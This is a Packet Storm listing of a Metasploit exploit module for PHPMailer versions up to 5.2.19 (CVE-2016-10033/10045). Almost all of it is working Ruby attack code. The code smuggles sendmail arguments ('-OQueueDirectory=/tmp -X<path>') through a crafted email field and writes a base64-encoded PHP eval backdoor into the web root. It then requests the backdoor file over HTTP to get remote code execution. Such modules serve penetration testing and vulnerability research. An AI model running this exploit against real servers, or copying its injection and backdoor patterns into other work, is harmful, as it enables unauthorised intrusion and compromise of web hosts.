Lucene search

K
packetstormDawid GolunskiPACKETSTORM:140350
HistoryJan 04, 2017 - 12:00 a.m.

PHPMailer Sendmail Argument Injection

2017-01-0400:00:00
Dawid Golunski
packetstormsecurity.com
290

0.975 High

EPSS

Percentile

100.0%

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'PHPMailer Sendmail Argument Injection',  
'Description' => %q{  
PHPMailer versions up to and including 5.2.19 are affected by a  
vulnerability which can be leveraged by an attacker to write a file with  
partially controlled contents to an arbitrary location through injection  
of arguments that are passed to the sendmail binary. This module  
writes a payload to the web root of the webserver before then executing  
it with an HTTP request. The user running PHPMailer must have write  
access to the specified WEB_ROOT directory and successful exploitation  
can take a few minutes.  
},  
'Author' => [  
'Dawid Golunski', # vulnerability discovery and original PoC  
'Spencer McIntyre' # metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2016-10033'],  
['CVE', '2016-10045'],  
['EDB', '40968'],  
['EDB', '40969'],  
['URL', 'https://github.com/opsxcq/exploit-CVE-2016-10033'],  
['URL', 'https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html']  
],  
'DisclosureDate' => 'Dec 26 2016',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Payload' => {'DisableNops' => true},  
'Targets' => [  
['PHPMailer <5.2.18', {}],  
['PHPMailer 5.2.18 - 5.2.19', {}]  
],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'Path to the application root', '/']),  
OptString.new('TRIGGERURI', [false, 'Path to the uploaded payload', '']),  
OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www'])  
], self.class)  
register_advanced_options(  
[  
OptInt.new('WAIT_TIMEOUT', [true, 'Seconds to wait to trigger the payload', 300])  
], self.class)  
end  
  
def trigger(trigger_uri)  
print_status("Sleeping before requesting the payload from: #{trigger_uri}")  
  
page_found = false  
sleep_time = 10  
wait_time = datastore['WAIT_TIMEOUT']  
print_status("Waiting for up to #{wait_time} seconds to trigger the payload")  
while wait_time > 0  
sleep(sleep_time)  
wait_time -= sleep_time  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => trigger_uri  
)  
  
if res.nil?  
if page_found or session_created?  
print_good('Successfully triggered the payload')  
break  
end  
  
next  
end  
  
next unless res.code == 200  
  
if res.body.length == 0 and not page_found  
print_good('Successfully found the payload')  
page_found = true  
end  
end  
end  
  
def exploit  
payload_file_name = "#{rand_text_alphanumeric(8)}.php"  
payload_file_path = "#{datastore['WEB_ROOT']}/#{payload_file_name}"  
  
if target.name == 'PHPMailer <5.2.18'  
email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\\" -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"  
elsif target.name == 'PHPMailer 5.2.18 - 5.2.19'  
email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\' -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"  
else  
fail_with(Failure::NoTarget, 'The specified version is not supported')  
end  
  
data = Rex::MIME::Message.new  
data.add_part('submit', nil, nil, 'form-data; name="action"')  
data.add_part("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", nil, nil, 'form-data; name="name"')  
data.add_part(email, nil, nil, 'form-data; name="email"')  
data.add_part("#{rand_text_alphanumeric(2 + rand(20))}", nil, nil, 'form-data; name="message"')  
  
print_status("Writing the backdoor to #{payload_file_path}")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => data.to_s  
)  
  
register_files_for_cleanup(payload_file_path)  
  
trigger(normalize_uri(datastore['TRIGGERURI'].blank? ? target_uri : datastore['TRIGGERURI'], payload_file_name))  
end  
end  
`